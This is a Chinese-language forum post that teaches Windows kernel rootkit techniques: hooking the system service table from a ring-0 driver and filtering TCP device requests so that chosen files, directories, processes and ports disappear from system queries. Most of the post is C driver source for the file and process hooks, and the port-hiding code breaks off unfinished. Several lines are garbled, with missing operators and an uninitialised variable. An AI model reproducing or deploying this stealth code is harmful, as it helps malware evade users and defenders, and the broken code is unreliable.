教你隱藏任意進程、注冊表及端口

　　查找進程，目錄/文件，注冊表等操作系統將最終調用 ZwQueryDirectoryFile，ZwQuerySystemInFORMation， ZwXXXvalueKey 等函數。要想攔截這些函數達到隱藏目的，，需先自己實現以上函數，並修改系統維護的一個SYSCALL 表使之指向自己預先定義的函數。因 SYSCALL 表在用戶層不可見，所以要寫 DRIVE 在 RING 0 下 才可修改。

關於如何修改已有文章詳細介紹過，這裡不在詳述。（可以參見 sysinternals.com 或 WebCrazy 所 寫的文章）。查找端口用的是 TDI 查詢。TDI 導出了兩個設備 //Device//Tcp 與 //Device//Udp。我們可以利 用設備過濾驅動的方法寫一個 DRIVE 把這兩個設備的所有 IRP 包接管過來進行處理後再傳給下層驅動。以達到 隱藏任意端口的目的。

上述提到的方法不是新東西，是在N年前就已經有的老技術。俺現在將它貼出來只不過為了充實下版面，灌灌水罷了。高手們還是別看了。下面是我 DRIVE 中隱藏任意進程，目錄/文件，端口代碼片段。 （注冊表操作在 RegMon 中寫的很詳細，這裡就不列出了）



Code:
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typedef struct _FILETIME
{
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME;



typedef struct _DirEntry
{
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwUnknown[ 2 ];
DWORD dwFileSizeLow;
DWORD dwFileSizeHigh;
DWORD dwUnknown2[ 3 ];
WORD wNameLen;
WORD wUnknown;
DWORD dwUnknown3;
WORD wShortNameLen;
WCHAR swShortName[ 12 ];
WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;



struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;

KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};



struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};

　　// 隱藏目錄/文件



NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInFORMationBuffer,
IN ULONG FileInFORMationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
CHAR aProcessName[80];
ANSI_STRING ansiFileName,ansiDirName;
UNICODE_STRING uniFileName;
PP_DIR ptr;



WCHAR ParentDirectory[1024] = {0};
int BytesReturned;
PVOID Object;




// 執行舊的ZwQueryDirectoryFile函數
rc = ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,

FileInFORMationBuffer,
FileInFORMationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);



if(NT_SUCCESS(rc))
{
PDirEntry p;
PDirEntry pLast;
BOOL bLastOne;
int found;
p = (PDirEntry)FileInFORMationBuffer; // 將查找出來結果賦給結構
pLast = NULL;



do
{
bLastOne = !( p-＞dwLenToNext );
RtlInitUnicodeString(&uniFileName,p-＞suName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);



found=0;



// 在鏈表中查找是否包含當前目錄
for(ptr = list_head; ptr != NULL; ptr = ptr-＞next)
{
if (ptr-＞flag != PTR_HIDEDIR) continue;
if( RtlCompareMemory( ansiFileName.Buffer, ptr-＞name,strlen(ptr-＞name) ) == strlen(ptr-＞name))
{
found=1;
break;
}
}//end for



// 如果鏈表中包含當前目錄，隱藏
if(found)
{
if(bLastOne)
{
if(p == (PDirEntry)FileInFORMationBuffer )
{
rc = 0x80000006; //隱藏
}
else
pLast-＞dwLenToNext = 0;
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInFORMationBuffer;
int iLeft = (DWORD)FileInFORMationBufferLength - iPos - p-＞dwLenToNext;
RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p p-＞dwLenToNext ), (DWORD)iLeft );
continue;
}
}
pLast = p;
p = (PDirEntry)((char *)p p-＞dwLenToNext );
}while( !bLastOne );
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}

　　// 隱藏進程



NTSTATUS HookZwQuerySystemInFORMation(
IN ULONG SystemInFORMationClass,
IN PVOID SystemInFORMation,
IN ULONG SystemInFORMationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;



ANSI_STRING process_name,process_uname,process_name1,process_name2;
BOOL g_hide_proc = TRUE;
CHAR aProcessName[80];
PP_DIR ptr;
int found;




// 執行舊的ZwQuerySystemInFORMation函數



rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInFORMation)) (
SystemInFORMationClass,
SystemInFORMation,
SystemInFORMationLength,
ReturnLength );



if(NT_SUCCESS(rc ))
{
if( g_hide_proc && (5 == SystemInFORMationClass))
{
// 將查找出來結果賦給結構
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInFORMation;
struct _SYSTEM_PROCESSES *prev = NULL;



// 遍歷進程
while(curr)
{



if((0 ＜ process_name.Length) && (255 ＞ process_name.Length))
{
found=0;
// 遍歷鏈表
for (ptr=list_head;ptr!=NULL;ptr=ptr-＞next )
{
if (ptr-＞flag != PTR_HIDEPROC) continue ;



if (memcmp(process_name.Buffer,ptr-＞name,strlen(ptr-＞name)) == 0)
{
found =1;
}
}



// 判斷如果是隱藏進程名則覆蓋掉此進程名
while(found)
{



if(prev)
{
if(curr-＞NextEntryDelta)
{
prev-＞NextEntryDelta = curr-＞NextEntryDelta;
}
else
{
prev-＞NextEntryDelta = 0;
}
}
else
{
if(curr-＞NextEntryDelta)
{
(char *)SystemInFORMation = curr-＞NextEntryDelta;
}
else
{
SystemInFORMation = NULL;
}
}



if(curr-＞NextEntryDelta)((char *)curr = curr-＞NextEntryDelta);
else
{
curr = NULL;break;
}
// 遍歷鏈表
found = 0;
for (ptr=list_head;ptr!=NULL;ptr=ptr-＞next )
{
if (ptr-＞flag != PTR_HIDEPROC) continue ;



if (memcmp(process_name.Buffer,ptr-＞name,strlen(ptr-＞name)) == 0)
{
found = 1;
}
}
}
}
if(curr != NULL)
{
prev = curr;
if(curr-＞NextEntryDelta) ((char *)curr = curr-＞NextEntryDelta);
else curr = NULL;
}
}
}
}
return(rc);
}

　　//隱藏端口



PDEVICE_OBJECT m_TcpgetDevice;



PDEVICE_OBJECT TcpDevice;
UNICODE_STRING TcpDeviceName;
PDRIVER_OBJECT TcpDriver;
PDEVICE_OBJECT TcpgetDevice;
PDEVICE_OBJECT FilterDevice
PDRIVER_DISPATCH Empty;
NTSTATUS status;



Empty = DriverObject-＞MajorFunction[IRP_MJ_CREATE];



RtlInitUnicodeString( &TcpDeviceName, L"//Device//Tcp");



//得到已有的設備指針



status = IoGetDeviceObjectPointer( &TcpDeviceName,
FILE_ALL_ACCESS,
&FileObject,
&TcpDevice
);




if(!NT_SUCCESS(status))
{
DbgPrint("IoGetDeviceObjectPointer error!/n");
return status;